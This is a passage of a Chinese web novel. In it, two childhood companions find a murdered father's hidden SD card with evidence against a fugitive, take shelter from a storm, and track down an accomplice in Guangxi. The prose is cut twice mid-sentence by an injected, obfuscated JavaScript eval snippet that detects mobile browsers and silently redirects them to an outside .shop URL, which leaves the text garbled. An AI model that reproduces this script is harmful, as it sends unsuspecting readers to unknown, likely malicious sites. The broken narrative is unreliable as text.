岑星禾没再说什么,低下头吃蛋糕。 草莓很甜,奶油绵软,她吃了一块,他又给她切了一块,她又吃了,他再切的时候,她按住他的手:“够了,吃不下了。” “多吃点。”李烈说,“你太瘦了。” “你管我?” “管。”一个字说得理直气壮,像他天生就有这个权利。 岑星禾看着他,他坦然地回看,眼神里没有刚才那种灼热和偏执,只剩下一种耐心和志在必得的光。 她下意识移开了视线。 蛋糕吃到最后,桌上只剩下一颗草莓,李烈把它夹起来,放到岑星禾的盘子里,“你吃。” “为什么?” “你应该多吃点甜的。” 岑星禾看着那颗草莓,想起去年的今天,她一个人坐在公寓里,对着手机屏幕打了无数遍关于生日的祝福,删掉,又打,又删掉,最后还是没再发。 第一遍不回,第二遍也不会回。 书桌上那张记事便签,清楚地记录着李烈的生日,爱好和小习惯,以及考满分的次数和喜欢的动漫,她像家人一样履行着对他的责任,多年来从未忘记。 便签的下方,也小心翼翼地写着自己的愿望: 1.买一间属于自己的小公寓,按自己的喜好装修。 2.养一只猫。 3.去看一次极光。 李烈失联后,她将属于自己的那张便签撕下来,叠成豆腐块,塞进了手机后壳里,即便那些愿望实现不了,她现在也觉得开心,起码李烈回来了,只要这个少年能平安,她就觉得任何事都无所谓了。 她拿起那颗草莓,咬了一口,汁水在嘴里炸开,甜得她眼眶有点发酸。 吃完蛋糕,岑星禾站起来收拾桌子,她把蛋糕盒子的盖子盖上,用纸巾擦了擦手上的奶油,余光扫到行军床旁边那个旧背包。 背包带子上挂着那块奥特曼电子表,表带断过,用黑色的线缝了一道,歪歪扭扭的,表盘玻璃上有一道裂纹,像干涸的河流。 岑星禾伸手拿起来,放在手心里,比记忆里轻了很多,“这表很多年了吧?” 李烈眼神懒懒的,“对啊。” “这是八岁生日那年,李叔叔送你的那块吧?” 岑星禾把表翻过来,表壳上有无数道划痕,有深有浅,有新有旧,有些是八岁那年爆炸留下的,有些是后来磕碰的,有些她不知道是怎么来的。 “李烈,我爸出事之前,说过一句话。” “他说李承的东西我还没拿到,”岑星禾看着手里的表,“我不知道这句话是什么意思,我爸说的是什么东西,我查了十年,没有查到任何记录。” 李烈的表情变了,露出眼底警觉的轮廓,“你是说我爸手里有东西?” “我不知道,李叔叔出事之前,你们家......”岑星禾顿了顿,没有把那场爆炸说出口,“你想想李叔叔有没有给过你什么特别的东西?或者交代过什么话?” 父亲离开之前的话他记了很多年,来来回回,包括他的掌心的纹路,想忘却忘不了,李烈看着那块表,伸手拿过去,翻来覆去地看了看。 “我爸给我这块表的时候,说了一句话。” “什么话?” “手表不能丢。” 岑星禾的心跳漏了一拍,“然后呢?” “我后来不戴了,忘了这句话。”李烈皱了皱眉,“我一直以为是他给的生日礼物,所以不能丢。” “你拆过?” “以前想换电池,拆开后盖发现没有电池槽。”他把表举到灯光下看了看,“我当时觉得奇怪,电子表怎么可能没有电池?” 岑星禾的心脏开始剧烈地跳动,“李烈,你再拆一次。” 李烈看了她一眼,没有多问,他走到工作台前,拉开抽屉,翻出一把微型螺丝刀,他的手很稳,螺丝刀插进表壳的缝隙里,轻轻一撬。 “咔嗒”一声,后盖弹开了。 表壳里没有电池,没有机芯。 只有一张黑色的微型SD卡,用透明胶带粘在表壳内侧,修车铺里安静得只剩下灯泡嗡嗡的声音。 李烈看着那张卡,手悬在半空中,没有动。 岑星禾走过去,站在他身边,她离他很近,近到能看见他睫毛在微微发抖,“我爸把这个东西放在我手表里藏了十年。” 他把SD卡取下来,放在手心里,卡比指甲盖还小,躺在他沾满机油和茧子的掌心里,像一粒黑色的种子,“你猜里面是什么?” “我不知道。”岑星禾说,“叔叔拼了命也要藏起来的东西一定很重要。” 李烈攥紧了拳头,把那张卡握在手心里。 他转过身,看了她一眼。 昏黄的灯光下,他的眼眶有点红,十九岁的男孩子已经不会哭了,他把所有的情绪都压在心底,压成一种岑星禾看不懂的东西,“先看看再说。” 李烈走到行军床边,从床底下拉出一个黑色的电脑包,拉链已经坏了,用一根绳子绑着,他解开绳子,打开电脑,按下电源键。 老旧的笔记本电脑发出嗡嗡的风扇声,屏幕亮起来,开机画面卡了很久,岑星禾站在他身后,看着他操作。 李烈把SD卡插入读卡器,读卡器插进USB接口。电脑发出“叮”的一声,弹出一个文件夹,里面只有一个视频文件,和一个加密的文档。 李烈的手指悬在触摸板上方,停顿了一秒,他点开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548333|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那个视频,画面出现的那一瞬间,岑星禾浑身的血液像被冻住了。 视频里是李烈的父亲李承,她小时候见过很多次的那个温和爱笑的男人,视频里的他完全没有笑。 他坐在一个灰白色的房间里,身后的墙壁斑驳脱落,像某种废弃的建筑,他的脸上有伤,嘴角有一道干涸的血痕,眼眶淤青,眼神是清醒的,甚至可以说是冷静的,他的声音很稳,稳得不像一个受了重伤的人。 “我叫李承,这是我的遗言。” 岑星禾的手猛地攥紧了李烈的肩膀,李烈一动不动,眼睛死死地盯着屏幕。 “泰景宁毒糖浆案的幕后主使是泰显川,我查到了他的境外账户,还有他指示使用工业级药品代替药用物品的内部邮件。”李承顿了一下,屏幕里的他微微偏头,像是在听外面的动静,“这些东西都在这个卡里,你一定要仔细看。” 画面忽然晃了一下,李承猛地回头,脸上的冷静第一次出现了裂痕。 “有人来了。”他的声音压得很低,语速变快了,“岑海警官,告诉李烈,爸爸对不起他,蛋糕没来得及回去吃。”画面剧烈晃动,然后是巨大的撞击声。 视频中断了。 黑屏。 修车铺里安静得可怕。 岑星禾发现自己的手在发抖,攥着李烈肩膀的那只手,指节已经泛白。 李烈缓缓抬起头,眼睛瞬间红了,是那种被撕碎了又重新拼起来的红,让人不忍心直视。 “泰显川。”他把这三个字从牙缝里挤出来,“他还没有死。” 岑星禾她看着屏幕上那个加密的文档,看了具体情况,李承当年之所以会暴露,是工厂里的人发现了他在拍照片,上报给了泰显川,接着泰显川派人杀了他。 当年,警方通传唤过泰显川,没有找到人,他躲到国外去了,由于当时没有证据,也没办法通缉他。 十一年了,泰显川很可能还没死。 岑星禾感到一股寒意从脚底窜上来,沿着脊椎一路蔓延到后脑勺,她看着李烈通红的眼睛,忽然不知道该说什么。 “李烈。”她伸出手,想碰他的肩膀。 他整个人像一根绷到极限的弦,岑星禾的手落在他肩上,能感觉到他肩胛骨的形状,硬而锋利,像随时会折断的刀。 “我会找到他。”岑星禾坚定地说,“李烈,我发誓我会找到他。” 李烈抬头看着她。 昏黄的灯光下,十九岁的少年眼眶通红,睫毛上挂着一点没落下来的湿意,他看着她的眼神里,有恨,有痛,有十年的孤独和委屈,还有他说不出口的,从八岁开始就埋在心里,靠着她每年一条的短信才没彻底熄灭的东西。 他握住了她放在他肩上的那只手,电脑屏幕的光照在两个人脸上,一明一暗。 5. Chapter5·同房间 从李承的加密文档里,他们破解出一封当年的邮件。 邮件是李承发给岑海的草稿,一直没有发送出去,里面提到泰显川身边有一个私人助理,人称老方,大名方德胜,是泰显川最信任的人,负责替他处理所有见不得光的事,从洗钱到销赃,全是脏活。 泰显川跑路之后,老方也跟着人间蒸发了,李承在文档最后留了一句话:老方每个月都会去南坪镇的一家茶馆,给他瘫痪的妹妹送钱,这是唯一能找到他的机会。 岑星禾查了三天,才找到一点线索,南坪镇在隔壁省的山里,从燕港开车过去要六个小时,茶馆开在半山腰,地图显示三年前已经歇业了,老方的妹妹也查不到任何记录,可能也跑了。 “我想去一趟。”她在修车铺里对李烈说。 李烈正在拆一个发动机,手上的机油还没擦干净,他抬起头看了她一眼:“什么时候?” “明天。” “我跟你去。” 岑星禾犹豫了一下,她本来想一个人去,这件事是她父亲留下来的尾巴,是她欠李家的,看到李烈那亮而有力的眼睛,她把拒绝的话咽了回去。 “好。” 案件没有正式重启,泰显川行踪不明,光靠一堆十一年前的旧邮件和一张SD卡,老周不会批这次行动,岑星禾没有报备,更何况老方这种人,一旦惊动很可能会再次消失,他们只能自己去找。 暴雨是在下午三点突然砸下来的。 南坪镇在半山腰,废弃的茶馆比镇子还要往上走两公里,岑星禾和李烈到的时候,天还是阴的,铅灰色的云压在山脊上,闷得人喘不过气。 茶馆的铁锁已经锈坏了,李烈微微用力拽了一下,一下就拽开了,两人蓦地对视一眼,直接走进去了,院子一看就是久无人居,两张石桌上落满树叶,旁边的老槐树被风吹得东倒西歪。 他们打听到老方的妹妹三年前就死了,墓碑立在院子角落,字迹被雨水冲刷得模糊不清。 “白来了。”李烈站在墓碑前,眼神冷淡。 岑星禾站在院子中间,抬头看天,乌云从山那边翻过来,像一堵黑色的墙,“要下雨了。” 话音未落,雨就下来了。 劈头盖脸的一阵雨珠,像有人在天上往下倒水的暴雨,两个人跑进茶馆屋里,门板已经烂了一半,雨水从屋顶的破洞里灌进来,在地上汇成一条小溪。 “在这个避个雨。”李烈把皮夹克脱下来,拧了一把水,扔在桌上。 雨越下越大。 半小时后,岑星禾掏出手机看了一眼,半山腰没有信号,这里原来应该是景点,后来不知道什么原因撤了,一点信号都没有,岑星禾举着手机叹息,“没有网了。” 李烈也掏出手机,举到头顶晃了晃,屏幕上的信号格是空的。 这时,山洪下来了。 从他们来的那条土路上,浑黄的泥水裹着碎石和断枝往下冲,把路面冲出一条沟,别说机车,人走过去都费劲。 “先等雨停吧。”李烈靠在墙上,姿态散漫地抄着兜,好像被困在半山腰的废弃屋子里,不是什么大不了的事。 岑星禾抱着膝坐在他对面,雨水从屋顶的破洞里滴下来,落在她脚边,“李烈,我们能活着回去吗?” 李烈侧首看了她一眼,“能。” “你怎么知道?” “我说的。” 岑星禾看了他两秒,忽而笑了一下,眼睛里有一点亮光,“你胆子变大了。” 李烈嗤笑了下,漫不经心地眼神略过她贴在额角上的湿发,黑发与白皙形成强烈的视觉冲突。 岑星禾低下头,看着地上的水洼,雨水滴进去,荡开一圈一圈的涟漪。 “你小时候胆子特别小,”她声音轻得像自言自语,“每次放鞭炮你都往我身后躲,后来出了那件事之后,你连听到打雷都怕。” “有一次下大暴雨,打了一夜的雷,你抱着我的胳膊不松手,一整晚没睡。”岑星禾抬起头看着他,“那时候我觉得自己特别厉害,十一岁的我能保护八岁的你。” 李烈靠在墙上,嘴唇动了动,什么都没说。 “我当时在看《还珠格格》,”岑星禾嘴角弯了一下,“小燕子被棋社的老板娘关起来,老板娘打她,她就叫老板娘女大王,后来小燕子逃出来了,带着永琪回去报仇,把那个老板娘打得落花流水。” “那个老板娘一边挨打,一边叫小燕子女大王,女大大大王,岑星禾眼睛弯了起来,雨声里她的声音很轻很温柔,“我那时候就想成为小燕子那种人,当女王,行侠仗义,保护弱小。” 她灵动的眼眸中蒙上一层雾,“我以前跟你说,让你叫我女王大人,我会保护你一辈子。”岑星禾的声音夹在雨中,湿意蔓延,“你一直没叫过。” 李烈沉默了很久,久到岑星禾以为他没听见。 “你确定?” 李烈从裤兜里掏出手机,解锁,点开通话记录,递给她,岑星禾接过来一看通讯录里她的名字是女王大人。 岑星禾的手指僵了一下,她盯着屏幕看了三秒,把手机还给他,别过脸去,声音闷闷地,“你什么时候改的?” “没改过,”李烈把手机揣回兜里,“我自己存的。” 雨还在下,屋顶的破洞里漏下来的水,在地上汇成一小片水洼,岑星禾盯着那片水洼看,睫毛垂下来,看不清楚表情,少年这样的直白几乎让她招架不住。 头顶的横梁突然发出“嘎吱”一声。 李烈猛地站起来,一把拽住她的手腕,把她从那个位置拉开,几乎是同时,一块拳头大的碎瓦片从屋顶掉下来,砸在她刚才坐的地方,溅起一片泥水。 “换个地方。”李烈松开她的手腕,看了一眼那根横梁,“那边靠墙的位置安全一点。” 他先走过去,靠墙坐下,拍了拍身边的位置。 岑星禾看了他一眼,走过去在他旁边坐下。 两个人并排靠在墙上,肩膀隔着一拳的距离,她能闻到他身上雨水和机油混合的味道,还有一点点体温蒸出来的热气。 “你刚才说比赛的时候更危险,”岑星禾说,“机车比赛?很危险吗?” “看你怎么比。” “你受过伤吗?” 岑星禾侧过脸看他,少年头发微乱却显随性,眼神桀骜不羁,偏偏五官硬朗精致,哪怕在这种落魄逼仄的环境下,都透着一股难以驯服的野性。 岑星禾的心口像被尖刀刺穿,“这么多年你为什么不来找我?” “你十六岁就莫名其妙地离开了。”她的声音低下去,“我以为你再也不想见到我了。” 空气安静了很久,雨声填满了沉默。 “想等到成年。”李烈说。 岑星禾眼底闪过一丝诧异,“为什么?” “想成年了再去找你。”他勉强勾了下唇,“未成年的时候,说什么你都觉得我是小孩。” “那成年了为什么不来找我?”她问,“你都十九岁了,怎么现在才来?” “师傅带我走的那两年在学手艺,很忙。”李烈说,“十八岁在国外封闭式训练,任何人都不能联系,手机也不给。” 岑星禾红着眼眶,心口轻轻起伏,“你可以提前告诉我。” “告诉了又怎样?”李烈偏过头看她,黝黑的眼里映着雨光,“告诉你我要走了,告诉你我在哪儿,告诉你我过得怎么样?”他停了一下,“然后你会说你还小,你还是待在我身边吧。” 岑星禾的手指攥紧了膝盖上的衣料,声音有些发颤,“你从来不回我信息,我以为你再也不会原谅我了。” 李烈没有立刻回答,他看着屋顶漏下来的雨水,一滴一滴落进地上的水洼里,溅起的水花很小,小到不值一提。 “回了又怎样?”他轻轻将她往里拽了一下,怕雨淋到她衣角,“回了你就会一直发,你会一直放不下我,你和你妈生活本来就不容易,还要挤钱和时间来照顾我。” 岑星禾看着满地激溅起来的雨滴,喉中仿佛涌上一阵血意,呛得她心肺都疼了,她努力掐着手心,生怕自己眼泪掉下来。 彼此亲人的离世,成为两个人心中最难以逾越的鸿沟,变成一生潮湿的角落,李烈也成为岑星禾永远无法平息的阵痛,她始终无法忽略那道伤痕去面对他。 她只觉得欠他的,无论如何都还不清。 李烈仍旧没有一点情绪波动,“我不是小孩了,岑星禾,我不能一直让你养着。” 岑星禾终于忍不住了,一颗颗珍珠般的眼泪顺着脸颊滑落,满眼破碎地望向他,“你走的时候,我找了你很久,我以为你出事了。” 李烈盯着屋顶的破洞,雨水从那个洞里落下来,像是天在漏水,“我想等十八岁,成年了再回来找你,以一个成年人的身份站在你面前。” 他终于偏过头,“跟你说我不是小屁孩了,你不用再照顾我了。” 岑星禾无声地流着泪,雨水从屋顶漏下来,滴在她脚边,分不清哪些是雨,哪些是泪,李烈伸出手,拇指擦过她眼角,蹭掉了那滴泪。 “你还是来了。”他嘴角那个痞痞的笑容又浮上来了一点,“我都说了不用你照顾了,你还不放手。” “幸好找到你了,否则你还要躲我多久?”岑星禾的声音带着鼻音。 “不会。” “什么?” “不会永远不理你。”李烈低下头,看着自己沾满泥水的靴子,“就是没想好怎么面对你。” 雨声小了一些。 “师傅只有一个女儿,就喜欢到处乱跑,他说要把手艺都教我,让我以后有口饭吃,我跟他走的时候就想,等学成了再去找你。”他顿了顿,“后来满了十八岁,很想回来。” 他转过头,看着她,“可回不来。” 岑星禾不知道他那一年是怎么熬过来的。 “倒数三百六十五天,”李烈声音低到雨声几乎把它盖住,“才能去见我的女王大人。” 岑星禾的眼泪又涌了上来,她把脸埋进膝盖里,李烈没有再说话,他靠在墙上听着雨声,面色沉寂,听着她压抑细碎的呼吸声。 后半夜雨势总体小了一些。 岑星禾实在太累了,她靠着墙,眼皮越来越沉,头一点一点地往下坠,最后她歪了过去,肩膀靠在了李烈的手臂上。 她慢慢滑下去,头靠在他肩上,呼吸渐渐平稳下来。 手机从她手里滑落,掉在她腿上,屏幕亮了一下又暗了。 李烈低头看了她一眼,她睡着了的样子和他记忆里不太一样,小时候她总是昂着头,一脸我是姐姐,我能保护你的倔强,现在她的眉头是微微皱着的,睫毛上有没干的泪痕,嘴唇抿得很紧,像在做一个不太好的梦。 那么缩成一团的姑娘,不安又脆弱,看起来不太像能保护他的样子。 他伸出手,想去拿那个手机,怕它滑到地上,指尖碰到手机的时候,他犹豫了一下。 她的手机壳是个可爱的米黄色星星的后盖,打开来里面是一个小镜子,他捏了捏那个凸起的硅胶星星,软软的,李烈勾了勾唇角。 小镜子进了雨水,有些脏了,他将手机壳打开用衣袖擦了擦后面的小镜子,擦干净之后,把里面掉出来的便签原封不动地折回去,重新夹进手机壳里。 他把手机放在她腿上,又把自己的皮夹克从旁边的桌子上捞过来,轻轻盖在她身上。 她动了一下,头从他肩上滑下来。 李烈放低身体,把肩膀给她靠回去,他往下坐了坐,让她靠得更舒服一点,她的头发蹭在他下巴上,痒痒的,带着雨水和草莓蛋糕的味道。 雨声渐渐地小了。 天亮的时候,雨停了,山洪退了。 山下的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548334|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被冲得一塌糊涂,勉强能走,李烈的机车陷在泥里,两个人推了半个小时才推出来。 回到镇上已经是上午十点,两个人浑身是泥,头发湿了又干,干了又湿,黏在脸上。 “先找个地方住。”李烈说,“洗个澡,换身衣服。” 岑星禾没反对。 镇上的宾馆就在路口,远远看到门口贴着大红色的住宿二字,旁边店面门口,竖着一个红绿光混杂的牌子,闪着保健品三个大字,看上去十分冒昧。 李烈走进宾馆,岑星禾跟在后面。 前台是个四十多岁的女人,看了一眼李烈,又看了一眼岑星禾,目光在他们身上停了一下,两个人浑身上下没有一块干净的地方,头发还滴着水。 “开两间房。”岑星禾先开口。 前台敲了敲键盘:“旅游季房间紧张,只剩一间双人床了。” 岑星禾皱了皱眉,转头看李烈,李烈站在她身后,什么都没说。 “那换一家。”岑星禾说。 “镇上就这一家。”前台头也没抬。 岑星禾沉默了两秒。 “就要一间。”李烈把身份证递过去。 岑星禾看了他一眼,他正低头在手机上点着什么。 房间在二楼,不算大,还算干净,两张单人床各靠一面墙,中间隔了一个床头柜,白色被子叠得整整齐齐,窗帘是那种老式的碎花布拉了一半,外面的光照进来,把房间染成淡黄色。 岑星禾站在两张床中间,看了看左边,又看了看右边。 “李烈,我们可以开两个房间。” 李烈把背包放下,没接话。 “你长大了,”岑星禾语气尽量自然,“不方便住一个房间。” 李烈浑身还是湿的,T恤贴在身上,勾勒出肩背的线条,他表情很静,嘴角莫名带着微微的弧度,“我的钱只够开一间。” 岑星禾难以置信,“你还有多少钱?” 李烈从裤兜里掏出钱包,打开给她看了一眼,里面确实没几张钞票。 “我来付。”岑星禾说着就要去拿手机。 李烈伸手按住她拿手机的手,他的手掌很大,把她整个手背都盖住了,拇指刚好按在她虎口的位置。 “不许去。”少年每个字都落得很霸道。 “怎么了?” “哪有让女人付钱的道理?” 他的表情是认真的,甚至有一点固执,岑星禾好气又好笑,“你想省一间的钱?” 李烈松开她的手,转身走到靠窗的那张床边,把湿透的T恤脱下来,随手搭在椅背上,“人家说了就这一间,怎么再开?” “我洗澡去了。”他头也没回地进了卫生间,接着水声响起了。 岑星禾站在房间里,看着他那张床,又看了看自己那张床,两张床之间隔了不到一米,狭窄的空间躺两个成年人,会不自觉放大人性中的隐藏欲望,连想象都在这个静谧的陌生之地显得局促起来。 李烈以前过生日的时候,她问他要什么礼物,他说什么都不要,她硬塞给他两百块钱,他收了,后来又悄悄塞回她的包里。 他一直很不想花她的钱,从小就是这样,他说只够开一间的时候,她分明看见他钱包夹层里有好几张卡,总不能加起来就几十块吧。 岑星禾闭了闭眼,没有拆穿他。 水声停了。 李烈出来的时候穿了条运动裤,上身没穿,水珠顺着他的锁骨往下淌,他有一米九,宽肩窄腰,薄肌线条紧致又充满力量感,他拿毛巾擦了擦头发,然后从背包里翻出一件干净的T恤,慢悠悠地套上了。 岑星禾没骨气的咽了下口水,移开视线,狼狈地抱着自己的衣服,进了卫生间。 她洗了很久,站在花洒下面,一直在想这些天两人的相处,似乎变了味,或许是从三年前的某天就已经变了,太过钝感力的她并没有察觉。 那时她在上大学,被大一级的师兄追求,李烈来学校找她,撞见了那场告白,于是横插一足挤在两人中间,一会儿要吃这个,一会儿喝那个,岑星禾又顾着他,硬生生把师兄气跑了。 他以前总是那样,她总以为他失去家人缺乏安全感,她尽力给他最多的优先权。 他钱包里那张卡,他明明有钱,他就是想跟她住一个房间。 水从头顶浇下来,她把脸埋进手心里,觉得自己大概也是不想换的,不然她为什么不去前台再问一次?为什么他说不许去的时候,她就真的没去? 她关上水,把脸擦干,对着镜子看了自己一眼,镜子里的女人眼眶有点红,不知道是因为热水,还是因为别的什么。 她穿着自己的衣服走出来,长袖T恤和长裤,手脚都捂严实了。 李烈已经躺在靠窗的那张床上了,被子拉到胸口,一只手枕在脑后,闭着眼睛,岑星禾走到自己那张床边坐下来。 时间仿佛都凝固了。 “李烈。”她叫他,“你真的没钱吗?” 他干脆掀了被子盖到下巴,只露出一双黑溜溜的眼睛,一副恨不得把头埋进被窝的样子,“只够住一间的。” 岑星禾没忍住笑了一下,她躺下去把被子拉到肩膀,翻身背对着他。 灯关了。 房间里暗下来,窗帘缝隙里透进来一点点外面的光,在地板上画了一条细细的白线。 “你以后别骗我。” 对面安静了很久,久到岑星禾以为他睡着了。 “好。”他像是从枕头里闷出来的。 又过了一会儿,他悄悄探出头,盯着她的背影说:“以后不会了,女王大人。” 岑星禾没有应,她闭着眼睛感觉到他低哑地嗓音在黑暗中慢慢散开,像一滴墨落进水里。 窗外的光越来越淡,夜越来越深,两个人各躺在一张床上,中间隔了不到一米,谁都没有再说话。 6. Chapter6·赏金赛 从山上下来后,一直没能再打听到关于泰显川的新消息,心情失落的两人谁都没提老方的事。 第二天一早,他们在镇上的早餐铺吃米粉的时候,旁边一个本地老头听说他们去找老方,嘬了口烟,慢悠悠地说:“你们找老方啊?他早就不在这了。” “他妹妹死了以后,他就搬到南边去了,娶了个老婆,生了个女儿,听说在那边开个小五金店。” 老头说不清具体地址,只给了一个大概的方向,应该是去了广西,某个靠近边境的小县城,那地方流行各种炒粉。 岑星禾记下了。 回去的路上,李烈骑车,她坐在后座。 六月的风已经有些热了,吹得她头发往后飘,她抱着他的腰,掌心贴着他腹部的肌肉,隔着一层薄薄的T恤,能感觉到他呼吸的起伏。 这个案子不结谁都别想过好这一生,无论如何她都不会放弃,风声呼啸的跨市公路上,岑星禾附到他耳边喊:“我们去找老方。” “你说去哪就去哪。” 岑星禾把脸贴在他后背上,没再说话。 她回去后,仔细核对了老方的资料,和当地的同门对接好老方的地址后,三天后再次和李烈出发了。 岑星禾请了年假,李烈把修车铺托给隔壁的师傅照看,两个人坐上南下的火车上路了。 折腾了十个小时,终于到了广西,他们下了火车,直接按照地址坐上了客车,客车坐了两个小时左右,又打了摩的,傍晚的时候,终于折腾到了桂南的一个小县城。 县城不大,只有一条主街,街上很热闹,骑电动车的人居多,来来回回穿梭在大街小巷。街两边种着芒果树,果子还没熟,青绿青绿地挂在枝头。 他们在街上找到了唯一一家旅馆,这次岑星禾抢在前面开了两间房,李烈站在她身后,嘴角偷偷往下撇了撇。 放下行李,两个人出门找吃的,他们一路只吃了泡面,一下车饿坏了,街角有一家螺蛳粉店,门口支着一口大锅,酸笋的味道飘出去半条街。 岑星禾眼睛亮了:“吃这个。” 李烈皱了皱眉,往后退了半步,“这什么味?” “螺蛳粉。”岑星禾在门口的路边桌找了个位置坐下,“柳州特色,来都来了。” 李烈站在门口,脸上写满了抗拒。 味道太冲了,酸笋发酵后的气味像什么东西坏了一样,直往鼻子里钻。 “你确定这东西能吃?” “能,特别好吃。”岑星禾已经拿起了菜单,“你要几两?” 李烈走过去,在她对面坐下,身体往后仰,尽量离桌子远一点。 “我先说好,”他皱着眉,“你要是点螺蛳粉,我不请客。” 岑星禾看了他一眼:“真的?” “真的。” “那我自己付。”岑星禾扭头冲老板喊,“一碗二两螺蛳粉,加辣,加一个烤肠和炸蛋。” 老板应了一声,岑星禾又看向李烈:“你真不吃?” “不吃。” “那你吃什么?” 李烈看了一眼隔壁桌的炒粉,勉强说:“炒粉。” 炒粉先上的,李烈吃了两口,一直点头,看样子很满意。 螺蛳粉端上来了,一大碗,红油浮在汤面上,酸笋、木耳、花生、腐竹堆得满满当当,炸蛋泡在汤里,吸饱了汤汁,鼓鼓囊囊的,那股味道更浓了,浓郁得几乎有了实体,像一只手在拽着人的鼻子往里拉。 李烈把椅子往后挪了半米。 岑星禾没理他,她拆开筷子,搅了搅碗里的粉,夹起一大口,吹了吹,送进嘴里,眼睛眯起来了,脸上露出一种很满足的表情。 “好吃。”她含混地说。 李烈表情复杂地看着他。 岑星禾吃得很香,她吃粉的时候嘴巴会发出很小的声音,吸溜吸溜的,额前的碎发垂下来,沾了一点红油汤,她也不在意,用手背蹭一下,继续吃。 炸蛋咬开的时候,蛋黄流出来,混着辣汤,她把那一口咽下去,发出一声满足的叹息。 李烈没见过她这个样子,在他记忆里,岑星禾吃东西从来都是很克制的,小时候一起吃饭,把肉夹给他,告诉他吃肉才能长身体,自己吃青菜。 后来她考上了大学,他去学校找过她很多次,她兼职打工刚结束,一路小跑跑过来找他,吃饭跟打仗一样快,一边吃一边告诉他,吃完饭拿她的借书卡去图书馆看书,不要乱跑,下课了就带他回家。 那时周末或者节假日,她总是接他回家住,风雨无阻,她不忍心让他一直待在福利院,总是想给他更多的陪伴。她背负的责任重担太多了,他很少看到她笑,也少见她因为一口吃的这么开心。 “你真不尝一口?”岑星禾把碗往他那边推了推。 李烈看了一眼那碗红彤彤的汤,那股气味直接冲到脸上,他偏过头,喉咙动了一下,“拿走。” “你尝尝嘛。” “拿走。”他重复。 岑星禾笑了一下,把碗拉回来继续吃,她吃了好一会儿,把汤都喝了大半,最后放下碗的时候,脸上泛着一层薄红,嘴唇被辣得有点肿,“爽。” 李烈看着她肿了的嘴唇,顿了一下,移开视线。 结账的时候,岑星禾掏出手机,李烈伸手按住了。 “我来。” “你不是说不请吗?” 李烈没回答,扫二维码,付了两个人的钱。 走出店门的时候,岑星禾走在他旁边,身上还带着那股酸笋味,李烈侧过脸看了她一眼,皱着鼻子,往旁边让了半步。 “你离我远点。”他少有的嫌弃。 “怎么了?” “臭。” 岑星禾凑近他,故意抬起胳膊往他脸上扇了扇:“这个叫风味。” 李烈偏着头躲,一脸灵魂出窍的表情,过了一会儿,看她一直笑,嘴角跟着有一点弯,他用手背挡开她的胳膊,顺势握住了她的手腕,轻轻捏了一下,又松开,“走了,回去洗澡。” “你不洗今晚别进我房间。”他一副不情愿的表情。 “那是我的房间。”岑星禾纠正他。 “都一样,隔音不好,你在隔壁洗我也能闻到。” 岑星禾踢了他一脚。 李烈绷不住笑了一下,走在了前面。 * 老方的五金店开在县城边缘的一条老街上。 第二天上午,两个人找到了那里,店面不大,门口堆着水管和电线,玻璃门上贴着方记五金四个红字,一个四五岁的小女孩蹲在门口,拿粉笔在地上画圈圈。 岑星禾走进去。 柜台后面站着一个四十多岁的男人,瘦,皮肤黝黑,穿着一件洗得发白的polo衫,他正低头算账,听到脚步声抬起头,目光先是落在岑星禾身上,顺着看到她身后的李烈,手顿了一下。 “买东西?”他问。 岑星禾把警察证亮出来,打开给他比划了一下,“方德胜,我想跟你谈谈。” 老方看了一眼那张警察证,又看了一眼门口的小女孩,他把笔放下,沉默了几秒,对里屋喊了一声:“阿珍,带孩子出去买根冰棍。” 一个系着围裙的女人从里屋出来,看到岑星禾和李烈,眼神慌了一下,老方冲她点了点头,她才牵起小女孩的手,带着孩子出了门。 店里安静下来。 老方从柜台后面走出来,拉了把椅子坐下,他没看岑星禾,低着头,双手交握在膝盖上,“我知道你们会来。” 岑星禾站在他对面:“你知道?” “李承的事。”老方看了李烈一眼,“你是他儿子吧?长得真像。” 李烈的下颌绷紧了。 “泰显川跑了以后,我本来想跟着走。”老方说,“我老婆当时怀了孕,我不想让孩子在外面颠沛流离,我就留下来了,找了个没人认识的地方,开个小店。” 他停了一下,“我手里有他一些的东西,我也知道总有一天会有人来找我。” 岑星禾拉了把椅子,在他对面坐下,李烈没坐,靠在了门框上,抱着胳膊像一堵墙在门口。 “泰显川在哪?”岑星禾问。 老方沉默了很久。 “帕邦。”他说,“他有个本家兄弟叫泰显臻,早年在那边做生意的,他去投奔他了。” “泰显臻?”岑星禾皱眉,“做什么生意的?” 老方看了她一眼,没有正面回答。 “去了就再没消息了,我听以前的老兄弟说,他在那边也待不住,他没有别的地方可去,国内回不来,国外去不了,就卡在那种地方,不上不下的。” 李烈忽然开口:“他还在不在?” “不知道。”老方说,“我跟他已经很多年没联系了,我连他是死是活都不知道。” 岑星禾问:“你手里还有没有他的其他信息?照片?联系方式?他用的假身份?” 老方站起来,走到柜台后面,从抽屉里拿出一个旧信封递给她,“这是他走之前用的一个邮箱,后来也没再发过东西,还有几张照片,是他在帕邦一家赌场门口拍的,很多年前了,现在也许早就不在那个地方了。” 岑星禾接过信封打开,里面几张照片,画面有些模糊,一个穿花衬衫的中年男人站在一栋破旧的楼房前面,身后挂着一块写着缅文招牌。 “我能做的就这些了,”老方说,“我不求你们放过我,我做的那些事我自己清楚,我女儿还小,她什么都不知道。” 